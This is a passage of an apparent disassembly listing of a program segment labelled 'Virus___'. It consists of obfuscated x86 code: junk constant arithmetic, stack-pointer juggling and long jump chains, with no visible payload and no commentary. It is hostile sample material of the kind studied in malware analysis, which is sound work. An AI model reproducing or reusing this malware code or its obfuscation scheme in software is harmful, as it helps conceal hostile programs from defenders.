		pop	esp
		mov	[esp], edx
		sub	esp, 4
		push	esp
		pop	dword ptr [esp]
		add	dword ptr [esp], 4
		pop	edx
		push	esi
		mov	esi, 4
		jmp	loc_55FE24
; ---------------------------------------------------------------------------


loc_5527FC:				; CODE XREF: Virus___:0055A176j
		pop	esi
		dec	esi
		and	esi, 29B65906h
		jmp	loc_55C180
; ---------------------------------------------------------------------------


loc_552809:				; CODE XREF: Virus___:0055849Ej
		sub	ebp, 797339A6h
		sub	ebp, 1
		shl	ebp, 3
		xor	ebp, 26435722h
		xor	eax, ebp
		pop	ebp
		sub	[edi+24h], eax
		pop	eax


loc_552822:				; CODE XREF: Virus___:005622CFj
		push	7517h
		mov	[esp], ebx
		jmp	loc_5585E1
; ---------------------------------------------------------------------------


loc_55282F:				; CODE XREF: Virus___:00556FF5j
		xor	cl, 4Dh
		mov	bl, cl
		pop	ecx
		jmp	loc_55D8D8
; ---------------------------------------------------------------------------


loc_55283A:				; CODE XREF: Virus___:00557180j
		add	ebx, eax
		add	ebx, 440A7C33h
		pop	eax
		push	edi
		mov	edi, 44951AD2h
		dec	edi
		sub	edi, 68391E37h
		dec	edi
		shr	edi, 6
		add	edi, 647605E8h
		jmp	loc_552D29
; ---------------------------------------------------------------------------


loc_55285F:				; CODE XREF: Virus___:0055E6C1j
		mov	[esp], ebx
		jmp	loc_561764
; ---------------------------------------------------------------------------


loc_552867:				; CODE XREF: Virus___:0055C035j
		add	edx, ebx
		pop	ebx
		xchg	edx, [esp]
		jmp	loc_561023
; ---------------------------------------------------------------------------


loc_552872:				; CODE XREF: Virus___:00561EC8j
		mov	edx, [esp]
		push	esi
		push	esp
		mov	esi, [esp]
		add	esp, 4
		add	esi, 4
		push	edi
		mov	edi, 4
		add	esi, edi
		mov	edi, [esp]
		jmp	loc_55C353
; ---------------------------------------------------------------------------


loc_552893:				; CODE XREF: Virus___:00555620j
		push	esp
		pop	ebx
		sub	esp, 4
		mov	[esp], ebp
		push	58B6h
		jmp	loc_55BC18
; ---------------------------------------------------------------------------


loc_5528A8:				; CODE XREF: Virus___:0055BCBAj
		push	edi
		not	dword ptr [esp]
		pop	edi
		xor	edi, 112C1413h
		push	ebx
		mov	ebx, 78491AA3h
		jmp	loc_55BAE4
; ---------------------------------------------------------------------------


loc_5528BE:				; CODE XREF: Virus___:0055395Aj
		pop	ecx
		pop	eax
		jmp	loc_5611D3
; ---------------------------------------------------------------------------


loc_5528C5:				; CODE XREF: Virus___:0055317Aj
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_5605D7
; ---------------------------------------------------------------------------


loc_5528D9:				; CODE XREF: Virus___:00558C6Aj
		mov	esi, 245202CCh
		or	esi, 21A73EA5h
		dec	esi
		and	esi, 4E8B62E7h
		sub	esi, 27293F3Ah
		sub	esi, 0DD59E3A6h
		mov	ebx, esi
		pop	esi
		add	esi, ebx
		pop	ebx
		add	esi, 4
		xchg	esi, [esp]
		mov	esp, [esp]
		push	eax
		push	4D246C1Ah
		push	dword ptr [esp]
		jmp	loc_55ED91
; ---------------------------------------------------------------------------


loc_552914:				; CODE XREF: Virus___:0055139Aj
		inc	ebx
		jmp	loc_562315
; ---------------------------------------------------------------------------


loc_55291A:				; CODE XREF: Virus___:0055F401j
		mov	ebx, [esp]
		jmp	loc_5565D8
; ---------------------------------------------------------------------------


loc_552922:				; CODE XREF: Virus___:00562100j
		xor	ecx, [esp]
		xor	[esp], ecx
		xor	ecx, [esp]
		pop	esp
		sub	[esp], eax
		pushf
		jmp	loc_550176
; ---------------------------------------------------------------------------


loc_552935:				; CODE XREF: Virus___:0056188Bj
		add	esp, 4
		jmp	loc_55B73C
; ---------------------------------------------------------------------------


loc_552940:				; CODE XREF: Virus___:0055AD32j
		mov	ecx, 51EC0789h
		push	ecx
		jmp	loc_55A66C
; ---------------------------------------------------------------------------
		pop	dword ptr [edi+40h]
		jmp	loc_54F7ED
; ---------------------------------------------------------------------------


loc_552953:				; CODE XREF: Virus___:00553735j
		mov	edi, 3A042407h
		jmp	loc_560447
; ---------------------------------------------------------------------------


loc_55295D:				; CODE XREF: Virus___:00557E42j
		mov	eax, 0E375EA58h
		sub	edx, 5DED0628h
		add	edx, eax
		add	edx, 5DED0628h
		pop	eax
		add	eax, edx
		jmp	loc_5540C8
; ---------------------------------------------------------------------------


loc_552978:				; CODE XREF: Virus___:0055D9E6j
		push	esp
		mov	esi, [esp]
		add	esp, 4
		jmp	loc_555A82
; ---------------------------------------------------------------------------


loc_552984:				; CODE XREF: Virus___:0054FD5Dj
		mov	[esp], ecx
		mov	ecx, 15E84DE0h
		shl	ecx, 1
		not	ecx
		jmp	loc_54FAD9
; ---------------------------------------------------------------------------


loc_552995:				; CODE XREF: Virus___:0055958Aj
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xor	ebx, [esp]
		xor	[esp], ebx
		xor	ebx, [esp]
		pop	esp
		jmp	loc_55AE16
; ---------------------------------------------------------------------------


loc_5529B0:				; CODE XREF: Virus___:0055F840j
		xor	ebp, 43ADF598h
		add	ecx, ebp
		pop	ebp
		add	ebx, ecx
		pop	ecx
		xor	edx, ebx
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_550F42
; ---------------------------------------------------------------------------


loc_5529CC:				; CODE XREF: Virus___:005590FCj
		mov	ebp, 4
		add	edx, ebp
		pop	ebp
		push	edi
		jmp	loc_553F52
; ---------------------------------------------------------------------------


loc_5529DA:				; CODE XREF: Virus___:00550892j
		add	ebp, edi
		sub	ebp, 0A9B0CDEh
		pop	edi
		shl	ebp, 4
		sub	ebp, 0FCC4F131h
		push	ebp
		push	edx
		push	43026164h
		jmp	loc_55C5CA
; ---------------------------------------------------------------------------


loc_5529F8:				; CODE XREF: Virus___:00556BA0j
		mov	al, 22h
		and	al, 0B0h
		dec	al
		jmp	loc_55679B
; ---------------------------------------------------------------------------


loc_552A03:				; CODE XREF: Virus___:0055A4ACj
		mov	[esp], esi
		jmp	loc_55A6E7
; ---------------------------------------------------------------------------


loc_552A0B:				; CODE XREF: Virus___:005626D1j
		mov	[esp], eax
		mov	al, 0CDh
		xor	ch, al
		jmp	loc_554DD2
; ---------------------------------------------------------------------------


loc_552A17:				; CODE XREF: Virus___:00551AF2j
		mov	ebp, [esp]
		add	esp, 4
		sub	edi, 39182631h
		add	edi, esi
		push	eax
		mov	eax, 150C52D3h
		xor	eax, 2C1474E2h
		add	edi, eax
		mov	eax, [esp]
		add	esp, 4
		push	dword ptr [esp]
		pop	esi
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		push	edi
		push	dword ptr [esp+4]
		pop	edi
		pop	dword ptr [esp]
		pop	esp
		mov	ax, [esp]
		jmp	loc_5617E2
; ---------------------------------------------------------------------------


loc_552A65:				; CODE XREF: Virus___:00561DC8j
		sub	al, 0AAh
		add	al, dh
		add	al, 0AAh
		add	al, 52h
		add	al, 69h
		mov	dx, [esp]
		jmp	loc_559577
; ---------------------------------------------------------------------------


loc_552A78:				; CODE XREF: Virus___:0055AABDj
		mov	esi, [esp]
		add	esp, 4
		push	esi
		jmp	loc_553256
; ---------------------------------------------------------------------------


loc_552A87:				; CODE XREF: Virus___:005504C7j
		xchg	eax, [esp]
		pop	esp
		pop	ebx
		jmp	loc_5520FB
; ---------------------------------------------------------------------------


loc_552A91:				; CODE XREF: Virus___:00564699j
		not	ah
		xchg	ah, dh
		jmp	loc_564402
; ---------------------------------------------------------------------------


loc_552A9A:				; CODE XREF: Virus___:00555A5Dj
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		pop	dword ptr [esp]
		pop	esp
		push	edx
		push	esp
		pop	edx
		add	edx, 4
		sub	edx, 4
		xor	edx, [esp]
		xor	[esp], edx
		xor	edx, [esp]
		pop	esp
		jmp	loc_55EAF7
; ---------------------------------------------------------------------------


loc_552AC9:				; CODE XREF: Virus___:0055E31Fj
		add	esi, 60E724A1h
		add	esi, ecx
		sub	esi, 60E724A1h
		pop	ecx
		xchg	esi, [esp]
		pop	esp
		push	ecx
		mov	ecx, esp
		push	eax
		push	edi
		push	4E759BEh
		pop	edi
		xor	edi, 10C3135Ch
		mov	eax, edi
		pop	edi
		sub	eax, 1C1375DEh
		jmp	loc_555854
; ---------------------------------------------------------------------------


loc_552AFA:				; CODE XREF: Virus___:005587CDj
		push	ax
		mov	al, 0A6h
		neg	al
		inc	al
		push	dx
		mov	dh, 0ADh
		and	al, dh
		pop	dx
		jmp	loc_5629FD
; ---------------------------------------------------------------------------


loc_552B0F:				; CODE XREF: Virus___:00555210j
		mov	esi, [esp]
		jmp	loc_560220
; ---------------------------------------------------------------------------


loc_552B17:				; CODE XREF: Virus___:0054FAF3j
		dec	esi
		xor	esi, 22D5493Fh
		add	esi, 0DE69539Eh
		add	edx, esi
		pop	esi
		push	ecx
		push	edx
		push	ecx
		mov	ecx, 46FC36C2h
		push	esi
		mov	esi, 30AC0BD7h
		push	esi
		not	dword ptr [esp]
		pop	esi
		shl	esi, 7
		jmp	loc_55D10E
; ---------------------------------------------------------------------------


loc_552B42:				; CODE XREF: Virus___:00562D69j
		inc	edx
		jmp	loc_556B6E
; ---------------------------------------------------------------------------


loc_552B48:				; CODE XREF: Virus___:0056330Cj
		push	esp
		pop	esi
		jmp	loc_55A140
; ---------------------------------------------------------------------------


loc_552B4F:				; CODE XREF: Virus___:00554208j
		pop	ebx
		sub	esp, 4
		mov	[esp], esi
		push	edx
		mov	edx, 4
		mov	esi, edx
		pop	edx
		jmp	loc_55218F
; ---------------------------------------------------------------------------


loc_552B64:				; CODE XREF: Virus___:0055CA8Aj
		add	ebx, ecx
		add	[ebx], ebp
		mov	ebx, [esp]
		add	esp, 4
		pop	ecx
		jmp	loc_55DD94
; ---------------------------------------------------------------------------


loc_552B74:				; CODE XREF: Virus___:005520F6j
		sub	edx, eax
		pop	eax
		jmp	loc_550D78
; ---------------------------------------------------------------------------


loc_552B7C:				; CODE XREF: Virus___:0055D18Dj
		add	ebp, 4
		sub	ebp, 4
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		pop	esp
		mov	[esp], esi
		push	4
		pop	esi
		sub	edx, esi
		pop	esi
		xchg	edx, [esp]
		mov	esp, [esp]
		mov	[esp], edi
		mov	edi, esp
		push	edx
		mov	edx, 4
		add	edi, 3C4065C2h
		sub	edi, 46B2784h
		add	edi, edx
		add	edi, 46B2784h
		sub	edi, 3C4065C2h
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		push	esi
		mov	esi, 4
		jmp	loc_563DA4
; ---------------------------------------------------------------------------


loc_552BDE:				; CODE XREF: Virus___:005622F3j
		pop	eax
		jmp	loc_5564B8
; ---------------------------------------------------------------------------


loc_552BE4:				; CODE XREF: Virus___:00558829j
		mov	dh, bl
		pop	ebx
		push	eax
		mov	al, 37h
		jmp	loc_5584B2
; ---------------------------------------------------------------------------


loc_552BEF:				; CODE XREF: Virus___:0056274Ej
		xor	dword ptr [esp], 4A097134h
		pop	ebp
		xor	ebp, 4A097134h
		mov	edi, [esp]
		jmp	loc_55212E
; ---------------------------------------------------------------------------


loc_552C05:				; CODE XREF: Virus___:0055441Fj
		xchg	ecx, [esp]
		pop	esp
		add	eax, 564B771Eh
		push	edx
		mov	edx, 69E7786Ah
		dec	edx
		jmp	loc_563570
; ---------------------------------------------------------------------------


loc_552C1A:				; CODE XREF: Virus___:00562465j
		xchg	edx, [esp]
		pop	esp
		add	esi, 0DFBF4EC2h
		mov	edi, esi
		pop	esi
		shr	edi, 7
		jmp	loc_553BE5
; ---------------------------------------------------------------------------


loc_552C2F:				; CODE XREF: Virus___:00562192j
		inc	ebx
		not	ebx
		add	ebx, 798F7C90h
		xor	ebx, 1D7166ADh
		add	eax, ebx
		pop	ebx
		jmp	loc_5506AA
; ---------------------------------------------------------------------------


loc_552C46:				; CODE XREF: Virus___:0054FAD4j
		pop	esp
		mov	[esp], esp
		push	eax
		mov	eax, 4
		add	[esp+4], eax
		pop	eax
		mov	edi, [esp]
		jmp	loc_55278B
; ---------------------------------------------------------------------------


loc_552C5D:				; CODE XREF: Virus___:0055FCC4j
		mov	edx, [esp]
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		xchg	esi, [esp]
		pop	esp
		jmp	loc_55D13F
; ---------------------------------------------------------------------------


loc_552C7C:				; CODE XREF: Virus___:00559D2Ej
		push	esp
		mov	eax, [esp]
		add	esp, 4
		push	2EFCh
		jmp	loc_5502A9
; ---------------------------------------------------------------------------


loc_552C8D:				; CODE XREF: Virus___:00558EA6j
		push	dword ptr [esp]
		push	dword ptr [esp]
		mov	esi, [esp]
		jmp	loc_550806
; ---------------------------------------------------------------------------


loc_552C9B:				; CODE XREF: Virus___:005595DEj
		mov	edx, ebx
		mov	ebx, [esp]
		add	esp, 4
		sub	edx, 3CEF6A84h
		sub	edx, 96327707h
		sub	eax, edx
		mov	edx, [esp]
		add	esp, 4
		sub	eax, ebx
		push	esi
		mov	esi, 67A0821h
		shr	esi, 5
		xor	esi, 68FA40F6h
		and	esi, 4ECA0592h
		push	ebx
		mov	ebx, 3D657196h
		push	eax
		mov	eax, 1
		jmp	loc_55C144
; ---------------------------------------------------------------------------


loc_552CDF:				; CODE XREF: Virus___:00563CBEj
		sub	eax, ebp
		pop	ebp
		sub	eax, ebp
		push	edi
		mov	edi, 56FA790Ch
		add	edi, 2DF06D89h
		jmp	loc_560888
; ---------------------------------------------------------------------------


loc_552CF5:				; CODE XREF: Virus___:0055AE1Fj
		mov	[esp], ebp
		push	32F74F0Fh
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	ebp
		add	esp, 4
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		jmp	loc_558050
; ---------------------------------------------------------------------------


loc_552D1A:				; CODE XREF: Virus___:0055BBB6j
		mov	[esp], edi
		jmp	loc_56183F
; ---------------------------------------------------------------------------


loc_552D22:				; CODE XREF: Virus___:00555DD6j
		add	esi, eax
		jmp	loc_563A82
; ---------------------------------------------------------------------------


loc_552D29:				; CODE XREF: Virus___:0055285Aj
		add	edi, 1331E553h
		add	edx, edi
		pop	edi
		jmp	loc_5629E9
; ---------------------------------------------------------------------------


loc_552D37:				; CODE XREF: Virus___:00560771j
		pop	ecx
		jmp	loc_55FF08
; ---------------------------------------------------------------------------


loc_552D3D:				; CODE XREF: Virus___:00553DD1j
		mov	[esp], ebp
		push	esp
		push	dword ptr [esp]
		pop	ebp
		push	ebp
		push	esp
		pop	ebp
		push	ebx
		mov	ebx, 16230594h
		neg	ebx
		xor	ebx, 0A123ECAh
		neg	ebx
		push	edi
		jmp	loc_55E2FA
; ---------------------------------------------------------------------------


loc_552D5E:				; CODE XREF: Virus___:0056147Bj
		push	dword ptr [esp]
		pop	eax
		push	0B90h
		mov	[esp], ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		not	cl
		sub	cl, 7Dh
		mov	bl, cl
		jmp	loc_55F65D
; ---------------------------------------------------------------------------


loc_552D85:				; CODE XREF: Virus___:0055BB7Dj
		add	esp, 4
		jmp	loc_554B76
; ---------------------------------------------------------------------------


loc_552D8D:				; CODE XREF: Virus___:0055BA1Fj
		sub	esp, 2
		mov	[esp], cx
		mov	ch, bh
		push	ecx
		jmp	loc_55F326
; ---------------------------------------------------------------------------


loc_552D9C:				; CODE XREF: Virus___:0054FAA3j
		mov	edx, [esp]
		add	esp, 4
		xchg	edi, edx
		xchg	edx, edi
		not	edx
		xchg	edx, edi
		push	7A10h
		mov	[esp], edx
		push	edi
		jmp	loc_55DB8A
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		push	4E81h
		jmp	loc_55E5A4
; ---------------------------------------------------------------------------


loc_552DC9:				; CODE XREF: Virus___:0055C8B9j
		push	ebp
		add	dword ptr [esp], 63DB37B0h
		pop	eax
		jmp	loc_558A7E
; ---------------------------------------------------------------------------


loc_552DD7:				; CODE XREF: Virus___:0055ECCDj
		add	edx, eax
		add	edx, 7B605955h
		push	esi
		mov	esi, 11F10FC2h
		xor	esi, 0B796631h
		sub	edx, esi
		pop	esi
		pop	eax
		xchg	edx, [esp]
		mov	esp, [esp]
		movzx	eax, al
		lea	eax, [edi+eax*4]
		jmp	loc_560C06
; ---------------------------------------------------------------------------


loc_552E00:				; CODE XREF: Virus___:0055075Cj
		add	ebx, ecx
		pop	ecx
		sub	ebx, 63383DE9h
		add	ebp, ebx
		pop	ebx
		jmp	loc_56397B
; ---------------------------------------------------------------------------


loc_552E11:				; CODE XREF: Virus___:0055790Ej
		xchg	edi, [esp]
		jmp	loc_563ECB
; ---------------------------------------------------------------------------


loc_552E19:				; CODE XREF: Virus___:0055B522j
		push	bx
		mov	bl, 1Dh
		or	ah, bl
		pop	bx
		xor	ah, 9Dh
		sub	ch, ah
		pop	eax
		sub	bl, 89h
		jmp	loc_552780
; ---------------------------------------------------------------------------


loc_552E2F:				; CODE XREF: Virus___:00557724j
		sub	edx, 2D273DACh
		sub	edi, 350C42EEh
		sub	edi, edx
		add	edi, 350C42EEh
		mov	edx, [esp]
		add	esp, 4
		add	eax, edi
		mov	edi, [esp]
		add	esp, 4
		push	ecx
		mov	ecx, 0D93220h
		sub	eax, ecx
		mov	ecx, [esp]
		add	esp, 4
		sub	eax, edx
		add	eax, 0D93220h
		sub	eax, 1FA451D4h
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		add	esp, 4
		xor	ebx, eax
		jmp	loc_5604D6
; ---------------------------------------------------------------------------


loc_552E85:				; CODE XREF: Virus___:00560A2Cj
		mov	ecx, [esp]
		jmp	loc_55105A
; ---------------------------------------------------------------------------


loc_552E8D:				; CODE XREF: Virus___:005613AAj
		push	64635EA6h
		mov	ecx, [esp]
		jmp	loc_56354C
; ---------------------------------------------------------------------------


loc_552E9A:				; CODE XREF: Virus___:00557F2Bj
		sub	cl, 3
		jmp	loc_556F21
; ---------------------------------------------------------------------------


loc_552EA2:				; CODE XREF: Virus___:00553610j
		mov	cl, 2Eh
		add	al, 94h
		add	al, 0DAh
		jmp	loc_55B224
; ---------------------------------------------------------------------------


loc_552EAD:				; CODE XREF: Virus___:00562B66j
		pop	esi
		jmp	loc_56396D
; ---------------------------------------------------------------------------


loc_552EB3:				; CODE XREF: Virus___:005600FDj
		sub	edi, 50B748F3h
		push	dword ptr [esp]
		pop	esi
		add	esp, 4
		and	edi, 461D39EEh
		jmp	loc_56447A
; ---------------------------------------------------------------------------


loc_552ECE:				; CODE XREF: Virus___:0056290Fj
		sub	bl, ch
		jmp	loc_55D8D1
; ---------------------------------------------------------------------------


loc_552ED5:				; CODE XREF: Virus___:00557072j
		push	0E11h
		mov	[esp], ebp
		push	esi
		mov	esi, 4
		mov	ebp, esi
		pop	esi
		sub	edx, 6C727BCBh
		jmp	loc_5631E8
; ---------------------------------------------------------------------------


loc_552EF1:				; CODE XREF: Virus___:00555CDEj
		add	esp, 4
		pop	dword ptr [esp]
		mov	esp, [esp]
		test	cx, ax
		pushf
		jmp	loc_54F7ED
; ---------------------------------------------------------------------------


loc_552F03:				; CODE XREF: Virus___:0055DFDBj
		pop	eax
		jmp	loc_558685
; ---------------------------------------------------------------------------


loc_552F09:				; CODE XREF: Virus___:0055E939j
		xor	ebx, [esp]
		xor	[esp], ebx
		xor	ebx, [esp]
		mov	esp, [esp]
		push	ecx
		mov	ecx, esp
		push	esi
		mov	esi, 4
		add	ecx, esi
		push	dword ptr [esp]
		pop	esi
		add	esp, 4
		push	eax
		mov	eax, 4
		jmp	loc_556570
; ---------------------------------------------------------------------------


loc_552F32:				; CODE XREF: Virus___:0055134Ej
		add	esp, 4
		jmp	loc_55883B
; ---------------------------------------------------------------------------


loc_552F3D:				; CODE XREF: Virus___:0056436Fj
		mov	esi, 61CCC87Ah
		sub	ebx, esi
		pop	esi
		add	edx, ebx
		pop	ebx
		add	edx, 843F49C7h
		jmp	loc_5538D2
; ---------------------------------------------------------------------------


loc_552F53:				; CODE XREF: Virus___:00556447j
		and	edx, 2B73371Bh
		dec	edx
		xor	edx, 199D46B9h
		mov	ecx, edx
		pop	edx
		dec	ecx
		jmp	loc_551FE8
; ---------------------------------------------------------------------------


loc_552F69:				; CODE XREF: Virus___:00556016j
		mov	[esp], dx
		push	ebx
		mov	bh, 9Ah
		or	bh, 59h
		sub	bh, 6Ah
		xor	bh, 50h
		jmp	loc_562945
; ---------------------------------------------------------------------------


loc_552F7E:				; CODE XREF: Virus___:0055E2BCj
		push	dword ptr [esp]
		pop	edi
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		push	edx
		push	dword ptr [esp+4]
		pop	edx
		jmp	loc_563533
; ---------------------------------------------------------------------------


loc_552F99:				; CODE XREF: Virus___:0055245Aj
		pop	ecx
		sub	ecx, 2C8755B7h
		pop	esi
		sub	ecx, 1
		and	ecx, 66F8487Dh
		xchg	eax, ecx
		xchg	eax, ecx
		not	ecx
		xchg	eax, ecx
		xchg	eax, ecx
		sub	ecx, 703E3D4Fh
		push	ebp
		mov	ebp, 2979BAACh
		sub	ecx, ebp
		jmp	loc_561471
; ---------------------------------------------------------------------------


loc_552FC3:				; CODE XREF: Virus___:0055F4A3j
		pop	eax
		jmp	loc_55101D
; ---------------------------------------------------------------------------


loc_552FC9:				; CODE XREF: Virus___:0054F7EEj
		xor	al, bl
		push	6F69h
		mov	[esp], ecx
		push	dx
		push	ecx
		sub	esp, 2
		jmp	loc_55412B
; ---------------------------------------------------------------------------


loc_552FDE:				; CODE XREF: Virus___:00556C79j
		push	43125E92h
		pop	eax
		or	eax, 103F3D6Bh
		or	eax, 7ECA1325h
		xor	eax, 1B3E4662h
		and	ebp, eax
		pop	eax
		jmp	loc_561BAA
; ---------------------------------------------------------------------------


loc_552FFB:				; CODE XREF: Virus___:0055744Bj
		add	ebp, 1B3A0F66h
		jmp	loc_558CF2
; ---------------------------------------------------------------------------


loc_553006:				; CODE XREF: Virus___:005597E1j
		mov	edi, [esp]
		add	esp, 4
		add	eax, 4
		jmp	loc_554823
; ---------------------------------------------------------------------------


loc_553017:				; CODE XREF: Virus___:00553A1Aj
		sub	ebx, 37D77BC3h
		jmp	loc_556C62
; ---------------------------------------------------------------------------


loc_553022:				; CODE XREF: Virus___:0055EE1Bj
		push	eax
		push	70E806B5h
		jmp	loc_553D14
; ---------------------------------------------------------------------------


loc_55302D:				; CODE XREF: Virus___:0055239Aj
		shr	ecx, 1
		not	ecx
		not	ecx
		inc	ecx
		sub	ecx, 82C799EDh
		sub	eax, ecx
		pop	ecx
		add	eax, 7655C810h
		add	ecx, eax
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		push	7E82h
		mov	[esp], edi
		mov	edi, 4
		push	ebp
		mov	ebp, 1C861B88h
		sub	ebp, 1
		push	esi
		mov	esi, 9E30C48h
		sub	ebp, esi
		pop	esi
		sub	ecx, 46F37663h
		jmp	loc_55DB13
; ---------------------------------------------------------------------------


loc_553075:				; CODE XREF: Virus___:0055725Bj
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		add	edx, 1A445F4Dh
		add	edx, ecx
		sub	edx, 1A445F4Dh
		pop	ecx
		xchg	edx, [esp]
		mov	esp, [esp]
		shr	byte ptr [esp],	cl
		pushf
		jmp	loc_55FC1D
; ---------------------------------------------------------------------------


loc_55309D:				; CODE XREF: Virus___:0056256Ej
		push	0B743F6F1h
		jmp	loc_55E2B9
; ---------------------------------------------------------------------------


loc_5530A7:				; CODE XREF: Virus___:005572A8j
		sub	edx, 91685B1Ch
		sub	edx, 1BE74697h
		sub	edx, ebx
		add	edx, 1BE74697h
		xor	ebx, edx
		xor	edx, ebx
		xor	ebx, edx
		pop	edx
		add	ebx, 60B56B65h
		add	eax, ebx
		jmp	loc_558ECF
; ---------------------------------------------------------------------------


loc_5530CF:				; CODE XREF: Virus___:00550A43j
		mov	ebp, 4
		jmp	loc_55AC97
; ---------------------------------------------------------------------------


loc_5530D9:				; CODE XREF: Virus___:0055F50Dj
		shl	ecx, 4
		shr	ecx, 5
		jmp	loc_55FBDD
; ---------------------------------------------------------------------------


loc_5530E4:				; CODE XREF: Virus___:00554C64j
		mov	[esp], ecx
		jmp	loc_54FBC0
; ---------------------------------------------------------------------------


loc_5530EC:				; CODE XREF: Virus___:0055F13Cj
		add	ax, 16C7h
		jmp	loc_5623F6
; ---------------------------------------------------------------------------


loc_5530F5:				; CODE XREF: Virus___:0055CA4Ej
		push	eax
		mov	al, 0A0h
		jmp	loc_56430C
; ---------------------------------------------------------------------------


loc_5530FD:				; CODE XREF: Virus___:0055CEEDj
		add	esp, 4
		push	ebx
		not	dword ptr [esp]
		pop	ebx
		jmp	loc_55FCC9
; ---------------------------------------------------------------------------


loc_55310D:				; CODE XREF: Virus___:00564260j
		mov	[esp], edx
		push	21A7h
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	dword ptr [esp]
		push	edi
		mov	edi, 4
		add	[esp+4], edi
		pop	edi
		jmp	loc_5550C5
; ---------------------------------------------------------------------------


loc_553135:				; CODE XREF: Virus___:0055EB5Bj
		xchg	ecx, [esp]
		pop	esp
		mov	[esp], edi
		mov	edi, 4
		jmp	loc_557648
; ---------------------------------------------------------------------------


loc_553146:				; CODE XREF: Virus___:0055A26Ej
		mov	eax, 3CA538Fh
		add	eax, 203804ECh
		shr	eax, 2
		jmp	loc_5596F9
; ---------------------------------------------------------------------------


loc_553158:				; CODE XREF: Virus___:00561CA9j
		add	ecx, edi
		jmp	loc_552020
; ---------------------------------------------------------------------------


loc_55315F:				; CODE XREF: Virus___:0055988Dj
		push	ebp
		mov	ebp, 4
		jmp	loc_552659
; ---------------------------------------------------------------------------


loc_55316A:				; CODE XREF: Virus___:00557B4Ej
		pop	esi
		sub	ecx, 0BAE1DCFh
		jmp	loc_55C3ED
; ---------------------------------------------------------------------------


loc_553176:				; CODE XREF: Virus___:005589FCj
		mov	ecx, [esp]
		push	ebp
		jmp	loc_5528C5
; ---------------------------------------------------------------------------


loc_55317F:				; CODE XREF: Virus___:0055F4BEj
		add	esi, 0BD350F1h
		jmp	loc_55C746
; ---------------------------------------------------------------------------


loc_55318A:				; CODE XREF: Virus___:00561E6Fj
		pop	ebx
		push	edx
		mov	dh, 0C9h
		push	ebx
		push	edx
		mov	dl, ah
		jmp	loc_5642AF
; ---------------------------------------------------------------------------


loc_553197:				; CODE XREF: Virus___:00556D9Ej
		add	ebx, ebp
		sub	ebx, 26282E16h
		add	ebx, 7E6B6CD1h
		pop	ebp
		push	ebp
		mov	ebp, 4
		add	ebx, ebp
		mov	ebp, [esp]
		add	esp, 4
		xchg	ebx, [esp]
		pop	esp
		jmp	loc_54FCD8
; ---------------------------------------------------------------------------
		push	dword ptr [edi+1Ch]
		popf
		pop	ax
		adc	[esp], ax
		pushf
		jmp	loc_564265
; ---------------------------------------------------------------------------


loc_5531D0:				; CODE XREF: Virus___:00560CF0j
		inc	esi
		jmp	loc_563898
; ---------------------------------------------------------------------------


loc_5531D6:				; CODE XREF: Virus___:00551C95j
		pop	ecx
		mov	ebp, [esp]
		add	esp, 4
		jmp	loc_54F861
; ---------------------------------------------------------------------------


loc_5531E2:				; CODE XREF: Virus___:0055CF1Bj
		push	41ADh
		mov	[esp], ebx
		mov	ebx, 59554357h
		or	edx, ebx
		pop	ebx
		jmp	loc_5596CF
; ---------------------------------------------------------------------------


loc_5531F7:				; CODE XREF: Virus___:0054F96Ej
		push	edx
		mov	dh, 20h
		push	edx
		xchg	cl, [esp+1]
		not	cl
		xchg	cl, [esp+1]
		jmp	loc_5598D6
; ---------------------------------------------------------------------------


loc_55320A:				; CODE XREF: Virus___:00562EB7j
		xor	ebx, 9CD6A6D4h
		jmp	loc_555F34
; ---------------------------------------------------------------------------


loc_553215:				; CODE XREF: Virus___:00554255j
		push	829h
		mov	[esp], esp
		push	esi
		mov	esi, esp
		add	esi, 4
		sub	esi, 4
		xchg	esi, [esp]
		jmp	loc_555FF9
; ---------------------------------------------------------------------------


loc_553231:				; CODE XREF: Virus___:0055507Ej
		mov	esi, esp
		jmp	loc_563289
; ---------------------------------------------------------------------------


loc_553238:				; CODE XREF: Virus___:00558359j
		pop	ebp
		push	ecx
		mov	ecx, 6E9E6299h
		xor	ebp, ecx
		mov	ecx, [esp]
		add	esp, 4
		pop	esi
		mov	eax, ebp
		pop	ebp
		push	edx
		push	esp
		pop	edx
		jmp	loc_554954
; ---------------------------------------------------------------------------


loc_553256:				; CODE XREF: Virus___:00552A82j
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		jmp	loc_559197
; ---------------------------------------------------------------------------


loc_553269:				; CODE XREF: Virus___:0055FD1Ej
		mov	esi, 77EF1A61h
		xor	esi, ebx
		pop	ebx
		push	eax
		mov	eax, 7FA62B08h
		add	[esp+8], eax
		pop	eax
		add	[esp+4], esi
		sub	dword ptr [esp+4], 7FA62B08h
		mov	esi, [esp]
		add	esp, 4
		jmp	loc_54F7ED
; ---------------------------------------------------------------------------


loc_553293:				; CODE XREF: Virus___:0055AEBCj
		mov	esp, [esp]
		push	dword ptr [esp]
		mov	ecx, [esp]
		push	edx
		mov	edx, esp
		add	edx, 4
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, 4
		jmp	loc_5568ED
; ---------------------------------------------------------------------------


loc_5532B5:				; CODE XREF: Virus___:00559C61j
		push	3750h
		mov	[esp], ecx
		jmp	loc_555747
; ---------------------------------------------------------------------------


loc_5532C2:				; CODE XREF: Virus___:00551862j
